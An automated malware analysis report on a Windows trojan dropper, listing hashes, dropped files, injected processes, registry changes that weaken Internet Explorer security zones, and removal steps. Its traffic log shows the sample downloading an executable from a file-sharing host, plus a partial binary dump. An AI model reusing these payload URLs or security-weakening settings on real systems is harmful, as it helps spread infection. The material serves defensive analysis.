Trojan-Dropper.MSIL.Agent.auia (Kaspersky), Trojan.Generic.12510469 (AdAware), Backdoor.Win32.PcClient.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Dropper, Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: e47ea8261099c8ee573d946443857d5a
SHA1: 702ec12f7b32710158f075c2b83e15120af2a389
SHA256: 87e1703feabf2e1396dc8d46902ce8988375c7615f0ca5626d73bc37cba8d38b
SSDeep: 24576:BbtRvf3U1XjwG7vOp xu0TZib o Ev3z9:pLvf3U1XjwmOp xxt 3z9
Size: 832512 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2015-01-05 19:49:31
Analyzed on: WindowsXPESX SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
59t6pc.exe:516
The Trojan injects its code into the following process(es):
%original file name%.exe:1960
rundll32.exe:1908
Mutexes
The following mutexes were created/opened:
ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexRasPbFileShimCacheMutex
File activity
The process %original file name%.exe:1960 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.exe (12348 bytes)
The process 59t6pc.exe:516 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.png (25 bytes)
Registry activity
The process %original file name%.exe:1960 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 04 3F 2E FE 02 BE AD 64 C6 01 45 F0 62 1D 7B"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1]
"Temp/59t6pc.exe" = "59t6pc"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process 59t6pc.exe:516 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 F6 D8 0A 8A 8F EA 05 27 ED F8 25 A4 E7 F6 CD"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"shimgvw.dll" = "Windows Picture and Fax Viewer"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The process rundll32.exe:1908 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "45 97 29 AC 15 FB EC 7B 4D 17 68 4F 71 6A FD 51"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
Dropped PE files
MD5 | File path |
---|---|
6f4d1438086f26c2ceed46d54cbed5ae | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\59t6pc.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
59t6pc.exe:516
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.exe (12348 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\59t6pc.png (25 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: NVIDIA Corporation
Product Name: Service
Product Version: 1.4.3.0
Legal Copyright: Microsoft Coprporation (c) 2014
Legal Trademarks: Image
Original Filename: ScreenViewer.exe
Internal Name: ScreenViewer.exe
File Version: 1.4.3.0
File Description: Screenshotter
Comments: Image Viewer
Language: Language Neutral
Company Name: NVIDIA CorporationProduct Name: ServiceProduct Version: 1.4.3.0Legal Copyright: Microsoft Coprporation (c) 2014Legal Trademarks: ImageOriginal Filename: ScreenViewer.exeInternal Name: ScreenViewer.exeFile Version: 1.4.3.0File Description: ScreenshotterComments: Image ViewerLanguage: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 8192 | 691924 | 692224 | 5.454 | f757594d8ad40120173c358097dc5365 |
.sdata | 704512 | 319 | 512 | 2.46306 | bc701e95eeecc372f9de607e04482765 |
.rsrc | 712704 | 137920 | 138240 | 0.952197 | 189b3e4b3fa66f24a59e4db8b7402cc1 |
.reloc | 851968 | 12 | 512 | 0.070639 | ade4bab60785daa998bd2a26264475fc |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://ge.tt/api/1/files/85wK5182/0/blob?download | 54.195.252.180 |
hxxp://open.ge.tt/1/files/85wK5182/0/blob?download | |
hxxp://ec2-54-228-6-8.eu-west-1.compute.amazonaws.com/streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download | |
hxxp://w056556.blob4.ge.tt/streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download | 54.228.6.8 |
hxxp://w428894.open.ge.tt/1/files/85wK5182/0/blob?download | 54.247.122.87 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /api/1/files/85wK5182/0/blob?download HTTP/1.1
Host: ge.tt
Connection: Keep-Alive
HTTP/1.1 307 Temporary Redirect
location: hXXp://w428894.open.ge.tt/1/files/85wK5182/0/blob?download
Connection: keep-alive
Transfer-Encoding: chunked
0..
GET /streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download HTTP/1.1
Host: w056556.blob4.ge.tt
Connection: Keep-Alive
HTTP/1.1 200 OK
date: Sat, 17 Jan 2015 09:18:08 GMT
last-modified: Mon, 05 Jan 2015 17:37:38 GMT
etag: "3742e2634ee802968c7e307bc1563cab-1"
accept-ranges: bytes
content-type: application/x-msdownload
content-length: 457216
server: gbs
access-control-allow-origin: *
content-disposition: attachment
Connection: keep-alive
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......T................................. ........@.. .......................`............@.....................................K.... ..&....................@......6................................................ ............... ..H............text........ ...................... ..`.sdata..............................@....rsrc...&.... ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H.......H2..N~...............E...........................................(....*..(....*..0.............*.0.............*.0.............*.0.............*.0.............*.0.............*....*.......*.......*.......*.......*.......*.......*.......*.......*....(....*..0.............*....*....0.............*....*....0.............*.0.............*....*....0.............*.0.............*AL.................. ...............O....... ...........z.......R... ........0.............*.0.............*.0..........
<<< skipped >>>
GET /1/files/85wK5182/0/blob?download HTTP/1.1
Host: w428894.open.ge.tt
Connection: Keep-Alive
HTTP/1.1 307 Temporary Redirect
location: hXXp://w056556.blob4.ge.tt/streams/85wK5182/231231243513.exe?sig=-Ur3PHKNfynjS3fJIFyxH-1d28l6cXEqFxA&type=download
connection: keep-alive
transfer-encoding: chunked
0..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
rundll32.exe_1908:
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
IMAGEHLP.dll
IMAGEHLP.dll
rundll32.pdb
rundll32.pdb
.....eZXnnnnnnnnnnnn3
.....eZXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
...eDXnnnnnnnnnnnn,
...eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
%Xnnnnnnnnnnnnnnn1
%Xnnnnnnnnnnnnnnn1
O3$dS7"%U9
O3$dS7"%U9
.manifest
.manifest
5.1.2600.5512 (xpsp.080413-2105)
5.1.2600.5512 (xpsp.080413-2105)
RUNDLL.EXE
RUNDLL.EXE
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
YThere is not enough memory to run the file %s.
YThere is not enough memory to run the file %s.
Please close other windows and try again.
Please close other windows and try again.
9The file %s or one of its components could not be opened.
9The file %s or one of its components could not be opened.
0The file %s or one of its components cannot run.
0The file %s or one of its components cannot run.
MThe file %s or one of its components requires a different version of Windows.
MThe file %s or one of its components requires a different version of Windows.
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
Error in %s
Error in %s
Missing entry:%s
Missing entry:%s
Error loading %s
Error loading %s